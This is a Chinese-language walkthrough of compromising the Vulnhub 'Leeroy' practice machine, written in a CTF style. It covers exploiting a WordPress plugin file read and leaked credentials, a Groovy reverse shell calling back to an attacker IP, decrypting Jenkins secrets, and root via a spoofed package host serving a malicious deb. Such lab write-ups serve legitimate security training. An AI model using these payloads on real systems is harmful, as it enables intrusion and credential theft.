Vulnhub Leeroy(提权失败求解惑)
字数 1160 2025-08-15 21:33:50
Vulnhub Leeroy 靶机渗透测试教学文档
1. 靶机基础信息
- 难度等级:中等
- 下载链接:https://www.vulnhub.com/entry/leeroy-1,611/
- 运行环境:VMware
2. 初始信息收集
2.1 主机发现
nmap 192.168.1.0/24
发现靶机IP:192.168.1.104
2.2 端口扫描
nmap -p- -A 192.168.1.104
开放端口:
- 80端口:仅显示一张图片
- 8080端口:登录界面(无凭证)
- 13380端口:WordPress站点(需配置hosts)
3. 配置hosts文件
echo "192.168.1.104 leeroy.htb" >> /etc/hosts
4. WordPress站点分析
4.1 WPScan扫描
wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token YOUR_API_TOKEN
发现可利用插件:wp-with-spritz
4.2 利用插件漏洞
访问以下URL查看.bash_history文件:
view-source:http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/home/leeroy/.bash_history
获取管理员凭证:
- 用户名:admin
- 密码:z1n$AiWY40HWeQ@KJ53P
5. 获取初始Shell
5.1 登录WordPress后台
使用获取的凭证登录WordPress管理界面
5.2 利用Groovy脚本执行反弹Shell
在编辑脚本界面插入以下Groovy代码:
String host="攻击机IP";
int port=1234;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
5.3 监听反弹Shell
nc -lnvp 1234
5.4 获取交互式Shell
python3 -c 'import pty;pty.spawn ("/bin/bash")'
6. 权限提升尝试
6.1 查看敏感文件
cat /etc/passwd
发现jenkins用户
6.2 获取Jenkins凭证
cat /var/lib/jenkins/credentials.xml
获取加密hash:
AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx
6.3 解密Jenkins密码
使用Groovy解密:
println( hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}") )
获取凭证:
- 用户名:leeroy
- 密码:ew3@PHQiX2RtP1ra!GZs
6.4 切换用户
su leeroy
输入密码:ew3@PHQiX2RtP1ra!GZs
6.5 检查sudo权限
sudo -l
发现可以执行:
sudo /usr/share/jenkins/jenkins_installer /etc/passwd
7. 提权方法
7.1 分析jenkins_installer
这是一个Jenkins安装脚本,会从pkg.jenkins.io下载安装包
7.2 配置本地服务器
- 修改hosts文件:
echo "攻击机IP pkg.jenkins.io" >> /var/lib/jenkins/hosts
- 配置Apache2服务:
cd /etc/apache2/sites-available/
vi default-ssl.conf
- 创建目录结构:
mkdir -p /opt/vulnub/debain-stable/binary/
7.3 创建恶意deb包
- 生成密码hash:
mkpasswd -m sha-512
# 输入密码123456
- 编辑passwd文件:
vi /tmp/passwd
添加自定义用户(如test:123456)并保留原有内容
- 创建deb包:
dpkg-deb --build /tmp/malicious /opt/vulnub/debain-stable/binary/jenkins_2.222.3_all.deb
7.4 启动Apache2服务
systemctl start apache2
7.5 执行提权
sudo /usr/share/jenkins/jenkins_installer /etc/passwd
执行后,可以使用创建的用户(如test:123456)通过su或ssh登录获取root权限。
8. 关键点总结
- 通过WordPress插件漏洞获取.bash_history中的凭证
- 利用Groovy脚本获取初始Shell
- 从Jenkins配置文件中获取加密凭证并解密
- 利用sudo权限执行jenkins_installer时的下载漏洞
- 通过中间人攻击替换deb包实现提权
9. 问题解决
若提权失败,检查:
- hosts文件是否正确配置
- Apache2服务是否正常运行
- deb包路径和内容是否正确
- 确保攻击机IP与靶机在同一网络